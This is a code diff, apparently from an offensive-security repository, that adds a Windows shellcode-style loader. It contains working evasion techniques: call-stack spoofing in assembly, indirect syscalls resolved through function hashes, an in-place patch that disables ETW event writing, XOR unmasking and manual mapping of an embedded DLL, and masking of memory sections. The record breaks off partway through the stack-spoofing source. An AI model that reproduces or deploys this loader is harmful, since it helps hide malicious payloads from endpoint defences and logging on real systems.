|
||||||
|
|
||||||
|
mov rdi, [rsp + 0x20] ; Load struct pointer
|
||||||
|
mov rsi, [rsp + 0x28] ; Load function to call
|
||||||
|
|
||||||
|
; Store original registers into struct
|
||||||
|
mov [rdi + 0x18], r10
|
||||||
|
mov [rdi + 0x58], r11
|
||||||
|
mov [rdi + 0x60], r12
|
||||||
|
mov [rdi + 0x68], r13
|
||||||
|
mov [rdi + 0x70], r14
|
||||||
|
mov [rdi + 0x78], r15
|
||||||
|
|
||||||
|
mov r12, rax ; Save original return address
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------
|
||||||
|
; Prepare stack arguments copy
|
||||||
|
; ---------------------------------------------------------------------
|
||||||
|
xor r11, r11
|
||||||
|
mov r13, [rsp + 0x30] ; Total number of stack args
|
||||||
|
|
||||||
|
mov r14, 0x200
|
||||||
|
add r14, 8
|
||||||
|
add r14, [rdi + 0x38] ; RtlUserThreadStart size
|
||||||
|
add r14, [rdi + 0x30] ; BaseThreadInitThunk size
|
||||||
|
add r14, [rdi + 0x20] ; Gadget frame size
|
||||||
|
sub r14, 0x20
|
||||||
|
|
||||||
|
mov r10, rsp
|
||||||
|
add r10, 0x30
|
||||||
|
|
||||||
|
looping:
|
||||||
|
cmp r11d, r13d
|
||||||
|
je finish
|
||||||
|
|
||||||
|
sub r14, 8
|
||||||
|
mov r15, rsp
|
||||||
|
sub r15, r14
|
||||||
|
|
||||||
|
add r10, 8
|
||||||
|
push qword [r10]
|
||||||
|
pop qword [r15]
|
||||||
|
|
||||||
|
inc r11
|
||||||
|
jmp looping
|
||||||
|
|
||||||
|
finish:
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
; Create big working space (320 bytes)
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
sub rsp, 0x200
|
||||||
|
push 0 ; Cut off return addresses
|
||||||
|
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
; RtlUserThreadStart + 0x14 frame
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
lea rax, [rdi + 0x38]
|
||||||
|
sub rsp, [rax]
|
||||||
|
mov r11, [rdi + 0x40]
|
||||||
|
mov [rsp], r11
|
||||||
|
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
; BaseThreadInitThunk + 0x21 frame
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
lea rax, [rdi + 0x20]
|
||||||
|
sub rsp, [rax]
|
||||||
|
mov r11, [rdi + 0x28]
|
||||||
|
mov [rsp], r11
|
||||||
|
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
; Gadget frame
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
lea rax, [rdi + 0x30]
|
||||||
|
sub rsp, [rax]
|
||||||
|
mov r11, [rdi + 0x50]
|
||||||
|
mov [rsp], r11
|
||||||
|
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
; Prepare fixup structure
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
mov r11, rsi ; Function to call
|
||||||
|
mov [rdi + 0x08], r12 ; OG ret addr
|
||||||
|
mov [rdi + 0x10], rbx
|
||||||
|
lea rbx, [rel fixup]
|
||||||
|
mov [rdi], rbx
|
||||||
|
mov rbx, rdi
|
||||||
|
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
; Syscall setup
|
||||||
|
; ----------------------------------------------------------------------
|
||||||
|
mov r10, rcx
|
||||||
|
mov rax, [rdi + 0x48]
|
||||||
|
jmp r11
|
||||||
|
|
||||||
|
; =====================================================================
|
||||||
|
; Fixup - Restore original context after spoofed call
|
||||||
|
; =====================================================================
|
||||||
|
fixup:
|
||||||
|
mov rcx, rbx
|
||||||
|
|
||||||
|
; Restore stack
|
||||||
|
add rsp, 0x200
|
||||||
|
add rsp, [rbx + 0x30]
|
||||||
|
add rsp, [rbx + 0x20]
|
||||||
|
add rsp, [rbx + 0x38]
|
||||||
|
|
||||||
|
; Restore registers
|
||||||
|
mov rbx, [rcx + 0x10]
|
||||||
|
mov rdi, [rcx + 0x18]
|
||||||
|
mov rsi, [rcx + 0x58]
|
||||||
|
mov r12, [rcx + 0x60]
|
||||||
|
mov r13, [rcx + 0x68]
|
||||||
|
mov r14, [rcx + 0x70]
|
||||||
|
mov r15, [rcx + 0x78]
|
||||||
|
|
||||||
|
push rax
|
||||||
|
xor rax, rax
|
||||||
|
pop rax
|
||||||
|
|
||||||
|
jmp qword [rcx + 0x08]
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
[BITS 64]
|
||||||
|
|
||||||
|
; Generic dummy assembly
|
||||||
|
push rax
|
||||||
|
push rbx
|
||||||
|
mov rax, rax
|
||||||
|
lea rbx, [rbx+0]
|
||||||
|
nop
|
||||||
|
pop rbx
|
||||||
|
pop rax
|
||||||
@@ -0,0 +1,172 @@
|
|||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
// Set up permissions based on what the DLL needs
|
||||||
|
void SetupSectionPermissions(DLLDATA *dll, char *dst, DLL_MEMORY *memory)
|
||||||
|
{
|
||||||
|
DWORD sectionCount = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||||
|
IMAGE_SECTION_HEADER *sectionHdr = NULL;
|
||||||
|
void *sectionDst = NULL;
|
||||||
|
DWORD sectionSize = 0;
|
||||||
|
DWORD newProtect = 0;
|
||||||
|
DWORD oldProtect = 0;
|
||||||
|
|
||||||
|
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader,
|
||||||
|
dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
for (int i = 0; i < (int)sectionCount; i++)
|
||||||
|
{
|
||||||
|
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||||
|
sectionSize = sectionHdr->SizeOfRawData;
|
||||||
|
|
||||||
|
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||||
|
newProtect = PAGE_WRITECOPY;
|
||||||
|
|
||||||
|
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)
|
||||||
|
newProtect = PAGE_READONLY;
|
||||||
|
|
||||||
|
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) &&
|
||||||
|
(sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE))
|
||||||
|
newProtect = PAGE_READWRITE;
|
||||||
|
|
||||||
|
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)
|
||||||
|
newProtect = PAGE_EXECUTE;
|
||||||
|
|
||||||
|
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
|
||||||
|
(sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE))
|
||||||
|
newProtect = PAGE_EXECUTE_WRITECOPY;
|
||||||
|
|
||||||
|
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
|
||||||
|
(sectionHdr->Characteristics & IMAGE_SCN_MEM_READ))
|
||||||
|
newProtect = PAGE_EXECUTE_READ;
|
||||||
|
|
||||||
|
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) &&
|
||||||
|
(sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) &&
|
||||||
|
(sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE))
|
||||||
|
newProtect = PAGE_EXECUTE_READWRITE;
|
||||||
|
|
||||||
|
/* set new permission */
|
||||||
|
KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtect, &oldProtect);
|
||||||
|
|
||||||
|
memory->Sections[i].BaseAddress = sectionDst;
|
||||||
|
memory->Sections[i].Size = sectionSize;
|
||||||
|
memory->Sections[i].CurrentProtect = newProtect;
|
||||||
|
memory->Sections[i].PreviousProtect = newProtect;
|
||||||
|
|
||||||
|
/* advance to section */
|
||||||
|
sectionHdr++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
char *LoadPico(char *picoSrc, IMPORTFUNCS funcs)
|
||||||
|
{
|
||||||
|
SIZE_T sCodeSize = PicoCodeSize(picoSrc);
|
||||||
|
SIZE_T sDataSize = PicoDataSize(picoSrc);
|
||||||
|
|
||||||
|
char *picoCode = KERNEL32$VirtualAlloc(NULL, sCodeSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
|
||||||
|
char *picoData = KERNEL32$VirtualAlloc(NULL, sDataSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
|
||||||
|
|
||||||
|
if (!picoCode || !picoData)
|
||||||
|
{
|
||||||
|
ERROR_MSG("Failed to allocate PICO memory");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
PicoLoad(&funcs, picoSrc, picoCode, picoData);
|
||||||
|
|
||||||
|
DWORD old = 0;
|
||||||
|
if (!KERNEL32$VirtualProtect(picoCode, sCodeSize, PAGE_EXECUTE_READ, &old))
|
||||||
|
{
|
||||||
|
ERROR_MSG("VirtualProtect failed on PICO code section!");
|
||||||
|
}
|
||||||
|
|
||||||
|
return picoCode;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *GetEntryPoint()
|
||||||
|
{
|
||||||
|
return (char *)go;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Entry Point
|
||||||
|
void go()
|
||||||
|
{
|
||||||
|
INFO_MSG("=== STARTED LOADER ===");
|
||||||
|
|
||||||
|
// Populate functions
|
||||||
|
IMPORTFUNCS funcs;
|
||||||
|
funcs.GetProcAddress = GetProcAddress;
|
||||||
|
funcs.LoadLibraryA = LoadLibraryA;
|
||||||
|
|
||||||
|
// Patch ETW
|
||||||
|
patchEtw();
|
||||||
|
|
||||||
|
INFO_MSG("Loading PICO");
|
||||||
|
char *picoSrc = (char *)GETRESOURCE(_PICO_);
|
||||||
|
char *picoDst = LoadPico(picoSrc, funcs);
|
||||||
|
|
||||||
|
INFO_MSG("Resolving and calling SetupHooks function from PICO");
|
||||||
|
PICOFUNC_SETUP_HOOKS SetupHooks = (SETUP_HOOKS)(void *)PicoGetExport(picoSrc, picoDst, __tag_SetupHooks());
|
||||||
|
SetupHooks(&funcs);
|
||||||
|
|
||||||
|
INFO_MSG("Resolving SetupMemory function from PICO");
|
||||||
|
PICOFUNC_SETUP_MEMORY SetupMemory =
|
||||||
|
(PICOFUNC_SETUP_MEMORY)(void *)PicoGetExport(picoSrc, picoDst, __tag_SetupMemory());
|
||||||
|
|
||||||
|
INFO_MSG("Resolving FreeLoader function from PICO");
|
||||||
|
PICOFUNC_FREE_LOADER FreeLoader =
|
||||||
|
(PICOFUNC_FREE_LOADER)(void *)PicoGetExport(picoSrc, picoDst, __tag_FreeLoader());
|
||||||
|
|
||||||
|
if (FreeLoader == NULL)
|
||||||
|
{
|
||||||
|
ERROR_MSG("FreeLoader not found in PICO");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get appended DLL and XOR Key
|
||||||
|
RESOURCE *maskedDll = GETRESOURCE(_DLL_);
|
||||||
|
RESOURCE *maskKey = GETRESOURCE(_MASK_);
|
||||||
|
|
||||||
|
INFO_MSG("Unmasking DLL");
|
||||||
|
XORData(maskedDll->value, maskedDll->len, maskKey->value, maskKey->len);
|
||||||
|
char *dllSrc = maskedDll->value;
|
||||||
|
|
||||||
|
// Parse DLL Headers
|
||||||
|
DLLDATA dllData;
|
||||||
|
ParseDLL(dllSrc, &dllData);
|
||||||
|
|
||||||
|
INFO_MSG("Allocating memory for DLL");
|
||||||
|
char *dllDst = KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&dllData),
|
||||||
|
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
|
||||||
|
|
||||||
|
if (dllDst == NULL)
|
||||||
|
{
|
||||||
|
ERROR_MSG("VirtualAlloc failed for DLL");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
INFO_MSG("Loading DLL into memory");
|
||||||
|
LoadDLL(&dllData, dllSrc, dllDst);
|
||||||
|
|
||||||
|
INFO_MSG("Processing DLL imports");
|
||||||
|
ProcessImports(&funcs, &dllData, dllDst);
|
||||||
|
|
||||||
|
// Track DLL memory
|
||||||
|
MEMORY_LAYOUT memory = {0};
|
||||||
|
memory.Dll.BaseAddress = (PVOID)dllDst;
|
||||||
|
memory.Dll.Size = SizeOfDLL(&dllData);
|
||||||
|
|
||||||
|
INFO_MSG("Setting up DLL section permissions");
|
||||||
|
SetupSectionPermissions(&dllData, dllDst, &memory.Dll);
|
||||||
|
// Pass memory to PICO
|
||||||
|
SetupMemory(&memory);
|
||||||
|
|
||||||
|
// Get DLL entry point
|
||||||
|
DLLMAIN_FUNC dll_entry_point = EntryPoint(&dllData, dllDst);
|
||||||
|
|
||||||
|
INFO_MSG("Calling FreeLoader from PICO:");
|
||||||
|
INFO_MSG("\tloader: %p", GetEntryPoint());
|
||||||
|
INFO_MSG("\tdll_base: %p", dllDst);
|
||||||
|
INFO_MSG("\tdll_entry: %p", dll_entry_point);
|
||||||
|
|
||||||
|
FreeLoader(GetEntryPoint(), dll_entry_point, dllDst);
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include "evasion/patch.h"
|
||||||
|
#include "include/memory.h"
|
||||||
|
#include "utils/utils.h"
|
||||||
|
#include "utils/debug.h"
|
||||||
|
|
||||||
|
#define GETRESOURCE(x) ((RESOURCE *)((char *)&x))
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
int len;
|
||||||
|
char value[];
|
||||||
|
} RESOURCE;
|
||||||
|
|
||||||
|
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
|
||||||
|
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||||
|
|
||||||
|
typedef void (*SETUP_HOOKS)(IMPORTFUNCS *funcs);
|
||||||
|
|
||||||
|
// Appended DLL
|
||||||
|
char _DLL_[0] __attribute__((section("dll")));
|
||||||
|
|
||||||
|
// XOR Key
|
||||||
|
char _MASK_[0] __attribute__((section("mask")));
|
||||||
|
|
||||||
|
// PICO
|
||||||
|
char _PICO_[0] __attribute__((section("pico")));
|
||||||
|
|
||||||
|
// PICO Functions Tags
|
||||||
|
int __tag_FreeLoader();
|
||||||
|
int __tag_SetupHooks();
|
||||||
|
int __tag_SetupMemory();
|
||||||
|
|
||||||
|
// PICO Spec
|
||||||
|
typedef void (*PICOFUNC_FREE_LOADER)(char *loader, DLLMAIN_FUNC dllEntry, char *dllBase);
|
||||||
|
typedef void (*PICOFUNC_SETUP_HOOKS)(IMPORTFUNCS *funcs);
|
||||||
|
typedef void (*PICOFUNC_SETUP_MEMORY)(MEMORY_LAYOUT *memory);
|
||||||
|
|
||||||
|
// Loader Entry Point
|
||||||
|
void go();
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include "include/tcg.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This is our opt-in Dynamic Function Resolution resolver. It turns MODULE$Function into pointers.
|
||||||
|
* See dfr "resolve" "ror13" in loader.spec
|
||||||
|
*/
|
||||||
|
FARPROC resolve(DWORD modHash, DWORD funcHash) {
|
||||||
|
HANDLE hModule = findModuleByHash(modHash);
|
||||||
|
return findFunctionByHash(hModule, funcHash);
|
||||||
|
}
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
#include "hooks.h"
|
||||||
|
|
||||||
|
BOOL SpoofedSyscall(DWORD functionHash, PVOID *args, int argsc)
|
||||||
|
{
|
||||||
|
PVOID pNtdll = findModuleByHash(NTDLL_HASH);
|
||||||
|
if (pNtdll == NULL)
|
||||||
|
{
|
||||||
|
ERROR_MSG("\t\tFailed to find pNtdll.dll");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID pNtFunction = findFunctionByHash(pNtdll, functionHash);
|
||||||
|
if (pNtFunction == NULL)
|
||||||
|
{
|
||||||
|
ERROR_MSG("\t\tFailed to find function by hash 0x%08X", functionHash);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
SYSCALL_GATE syscall = {0};
|
||||||
|
if (!GetSyscall(pNtdll, pNtFunction, &syscall))
|
||||||
|
{
|
||||||
|
ERROR_MSG("\t\tGetSyscall failed for function hash 0x%08X", functionHash);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argsc > 10)
|
||||||
|
{
|
||||||
|
ERROR_MSG("\t\tArgs can't be more than 10");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUNCTION_CALL call = {0};
|
||||||
|
call.ptr = syscall.jmpAddr;
|
||||||
|
call.ssn = syscall.ssn;
|
||||||
|
call.argc = argsc;
|
||||||
|
|
||||||
|
for (int i = 0; i < argsc && i < 10; i++)
|
||||||
|
{
|
||||||
|
call.args[i] = spoof_arg(args[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS status = spoof_call(&call);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
ERROR_MSG("\t\tSyscall failed: 0x%08X ", status);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||||
|
{
|
||||||
|
INFO_MSG("\t\tCalling _VirtualAlloc");
|
||||||
|
|
||||||
|
PVOID args[6] = {
|
||||||
|
NtCurrentProcess(),
|
||||||
|
&lpAddress,
|
||||||
|
0,
|
||||||
|
&dwSize,
|
||||||
|
(PVOID)(ULONG_PTR)flAllocationType,
|
||||||
|
(PVOID)(ULONG_PTR)flProtect};
|
||||||
|
|
||||||
|
if (!SpoofedSyscall(NTALLOCATEVIRTUALMEMORY_HASH, args, 6))
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
return lpAddress;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||||
|
{
|
||||||
|
INFO_MSG("\t\tCalling _VirtualProtect");
|
||||||
|
|
||||||
|
PVOID args[5] = {
|
||||||
|
NtCurrentProcess(),
|
||||||
|
&lpAddress,
|
||||||
|
&dwSize,
|
||||||
|
(PVOID)(ULONG_PTR)flNewProtect,
|
||||||
|
(PVOID)(ULONG_PTR)lpflOldProtect};
|
||||||
|
|
||||||
|
if (!SpoofedSyscall(NTPROTECTVIRTUALMEMORY_HASH, args, 5))
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||||
|
{
|
||||||
|
INFO_MSG("\t\tCalling _VirtualFree");
|
||||||
|
|
||||||
|
PVOID args[4] = {
|
||||||
|
NtCurrentProcess(),
|
||||||
|
&lpAddress,
|
||||||
|
&dwSize,
|
||||||
|
(PVOID)(ULONG_PTR)dwFreeType};
|
||||||
|
|
||||||
|
if (!SpoofedSyscall(NTFREEVIRTUALMEMORY_HASH, args, 4))
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
#include "utils/debug.h"
|
||||||
|
#include "utils/utils.h"
|
||||||
|
#include "spoof.h"
|
||||||
|
#include "syscalls.h"
|
||||||
|
#include "nt_hashes.h"
|
||||||
|
|
||||||
|
BOOL SpoofedSyscall(DWORD functionHash, PVOID *args, int argsc);
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
#include "mask.h"
|
||||||
|
|
||||||
|
// Random key patched by Crystal Palace spec
|
||||||
|
#define XOR_KEY_LEN 128
|
||||||
|
char XOR_KEY[XOR_KEY_LEN] = {1};
|
||||||
|
|
||||||
|
BOOL IsWriteable(DWORD protection)
|
||||||
|
{
|
||||||
|
if (protection == PAGE_EXECUTE_READWRITE ||
|
||||||
|
protection == PAGE_EXECUTE_WRITECOPY ||
|
||||||
|
protection == PAGE_READWRITE ||
|
||||||
|
protection == PAGE_WRITECOPY)
|
||||||
|
{
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ApplyMask(char *data, DWORD len)
|
||||||
|
{
|
||||||
|
XORData(data, len, XOR_KEY, XOR_KEY_LEN);
|
||||||
|
}
|
||||||
|
|
||||||
|
void EncryptSection(MEMORY_SECTION *section, BOOL mask)
|
||||||
|
{
|
||||||
|
/* if we're masking and the section needs to be made writeable */
|
||||||
|
if (mask && !IsWriteable(section->CurrentProtect))
|
||||||
|
{
|
||||||
|
DWORD old_protect = 0;
|
||||||
|
|
||||||
|
/* set the section permissions to RW */
|
||||||
|
if (KERNEL32$VirtualProtect(section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect))
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
* store the old protection so
|
||||||
|
* it can be set back later
|
||||||
|
*/
|
||||||
|
section->CurrentProtect = PAGE_READWRITE;
|
||||||
|
section->PreviousProtect = old_protect;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (IsWriteable(section->CurrentProtect))
|
||||||
|
{
|
||||||
|
/* section is writeable, so XOR it */
|
||||||
|
ApplyMask(section->BaseAddress, section->Size);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* if we're unmasking and the section permissions need to be set back */
|
||||||
|
if (mask == FALSE && section->CurrentProtect != section->PreviousProtect)
|
||||||
|
{
|
||||||
|
DWORD old_protect = 0;
|
||||||
|
|
||||||
|
/* set the section permissions back to PreviousProtect */
|
||||||
|
if (KERNEL32$VirtualProtect(section->BaseAddress, section->Size, section->PreviousProtect, &old_protect))
|
||||||
|
{
|
||||||
|
section->CurrentProtect = section->PreviousProtect;
|
||||||
|
section->PreviousProtect = old_protect;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void MaskMemory(MEMORY_LAYOUT *memory, BOOL mask)
|
||||||
|
{
|
||||||
|
for (size_t i = 0; i < memory->Dll.Count; i++)
|
||||||
|
{
|
||||||
|
EncryptSection(&memory->Dll.Sections[i], mask);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include "include/memory.h"
|
||||||
|
#include "utils/utils.h"
|
||||||
|
#include "utils/debug.h"
|
||||||
|
|
||||||
|
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||||
|
|
||||||
|
void MaskMemory(MEMORY_LAYOUT *memory, BOOL isMasked);
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
// Generated automatically
|
||||||
|
// Do not edit manually
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef _NTFUNC_HASHES
|
||||||
|
#define _NTFUNC_HASHES
|
||||||
|
|
||||||
|
// Nt* Functions
|
||||||
|
#define NTDLL_HASH 0x3CFA685D
|
||||||
|
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
|
||||||
|
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
|
||||||
|
#define NTWRITEVIRTUALMEMORY_HASH 0xC5108CC2
|
||||||
|
#define NTFREEVIRTUALMEMORY_HASH 0xDB63B5AB
|
||||||
|
#define NTQUERYVIRTUALMEMORY_HASH 0x4F138492
|
||||||
|
#define NTCREATESECTION_HASH 0x5BB29BCB
|
||||||
|
#define NTMAPVIEWOFSECTION_HASH 0xD5159B94
|
||||||
|
#define NTUNMAPVIEWOFSECTION_HASH 0xF21037D0
|
||||||
|
#define NTREADVIRTUALMEMORY_HASH 0x3AEFA5AA
|
||||||
|
#define NTQUERYINFORMATIONPROCESS_HASH 0xB10FD839
|
||||||
|
#define NTSETINFORMATIONTHREAD_HASH 0xE3D6909C
|
||||||
|
#define NTRESUMETHREAD_HASH 0xC54A46C8
|
||||||
|
#define NTSUSPENDTHREAD_HASH 0x488D64DC
|
||||||
|
#define NTCREATETHREADEX_HASH 0x4D1DEB74
|
||||||
|
#define NTOPENTHREAD_HASH 0x59651E8C
|
||||||
|
#define NTTERMINATEPROCESS_HASH 0x7929BBF3
|
||||||
|
#define NTWAITFORSINGLEOBJECT_HASH 0xAE06C1B2
|
||||||
|
#define NTDELAYEXECUTION_HASH 0xD4F11852
|
||||||
|
#define NTCREATEFILE_HASH 0x03888F9D
|
||||||
|
#define NTREADFILE_HASH 0x84FCD516
|
||||||
|
#define NTWRITEFILE_HASH 0x680E1933
|
||||||
|
#define NTCLOSE_HASH 0xDCD44C5F
|
||||||
|
|
||||||
|
// ETW
|
||||||
|
#define ETWEVENTWRITE_HASH 0x2047C3EE
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
#include "patch.h"
|
||||||
|
|
||||||
|
BOOL patchEtw() {
|
||||||
|
INFO_MSG("Patching ETW");
|
||||||
|
PVOID pNtdll = findModuleByHash(NTDLL_HASH);
|
||||||
|
PVOID pTarget = findFunctionByHash(pNtdll, ETWEVENTWRITE_HASH);
|
||||||
|
|
||||||
|
if (!pTarget) {
|
||||||
|
ERROR_MSG("Failed to find function by hash 0x%08X", pTarget);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD oldProt = 0;
|
||||||
|
if (!KERNEL32$VirtualProtect(pTarget, 16, PAGE_READWRITE, &oldProt))
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
// mov eax, 0xC0000022 (STATUS_ACCESS_DENIED); ret
|
||||||
|
PBYTE pPatch = (PBYTE)pTarget;
|
||||||
|
pPatch[0] = 0xB8u; // mov eax
|
||||||
|
*(DWORD*)(pPatch + 1) = 0xC0000022u; // STATUS_ACCESS_DENIED
|
||||||
|
pPatch[5] = 0xC3u; // ret
|
||||||
|
|
||||||
|
KERNEL32$VirtualProtect(pTarget, 16, oldProt, &oldProt);
|
||||||
|
|
||||||
|
SUCCESS_MSG("ETW Patched");
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include "utils/debug.h"
|
||||||
|
#include "nt_hashes.h"
|
||||||
|
|
||||||
|
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||||
|
|
||||||
|
BOOL patchEtw();
|
||||||
@@ -0,0 +1,424 @@
|
|||||||
|
#include "spoof.h"
|
||||||
|
|
||||||
|
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR);
|
||||||
|
DECLSPEC_IMPORT RUNTIME_FUNCTION *WINAPI KERNEL32$RtlLookupFunctionEntry(DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE);
|
||||||
|
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx(PULONG);
|
||||||
|
|
||||||
|
#define TEXT_HASH 0xEBC2F9B4
|
||||||
|
#define RBP_OP_INFO 0x5
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
LPCWSTR DllPath;
|
||||||
|
ULONG Offset;
|
||||||
|
ULONGLONG TotalStackSize;
|
||||||
|
BOOL RequiresLoadLibrary;
|
||||||
|
BOOL SetsFramePointer;
|
||||||
|
PVOID ReturnAddress;
|
||||||
|
BOOL PushRbp;
|
||||||
|
ULONG CountOfCodes;
|
||||||
|
BOOL PushRbpIndex;
|
||||||
|
} STACK_FRAME;
|
||||||
|
|
||||||
|
typedef enum
|
||||||
|
{
|
||||||
|
UWOP_PUSH_NONVOL = 0,
|
||||||
|
UWOP_ALLOC_LARGE,
|
||||||
|
UWOP_ALLOC_SMALL,
|
||||||
|
UWOP_SET_FPREG,
|
||||||
|
UWOP_SAVE_NONVOL,
|
||||||
|
UWOP_SAVE_NONVOL_FAR,
|
||||||
|
UWOP_SAVE_XMM128 = 8,
|
||||||
|
UWOP_SAVE_XMM128_FAR,
|
||||||
|
UWOP_PUSH_MACHFRAME
|
||||||
|
} UNWIND_CODE_OPS;
|
||||||
|
|
||||||
|
typedef unsigned char UBYTE;
|
||||||
|
|
||||||
|
typedef union
|
||||||
|
{
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
UBYTE CodeOffset;
|
||||||
|
UBYTE UnwindOp : 4;
|
||||||
|
UBYTE OpInfo : 4;
|
||||||
|
};
|
||||||
|
USHORT FrameOffset;
|
||||||
|
} UNWIND_CODE;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
UBYTE Version : 3;
|
||||||
|
UBYTE Flags : 5;
|
||||||
|
UBYTE SizeOfProlog;
|
||||||
|
UBYTE CountOfCodes;
|
||||||
|
UBYTE FrameRegister : 4;
|
||||||
|
UBYTE FrameOffset : 4;
|
||||||
|
UNWIND_CODE UnwindCode[1];
|
||||||
|
} UNWIND_INFO;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
PVOID ModuleAddress;
|
||||||
|
PVOID FunctionAddress;
|
||||||
|
DWORD Offset;
|
||||||
|
} FRAME_INFO;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
FRAME_INFO Frame1;
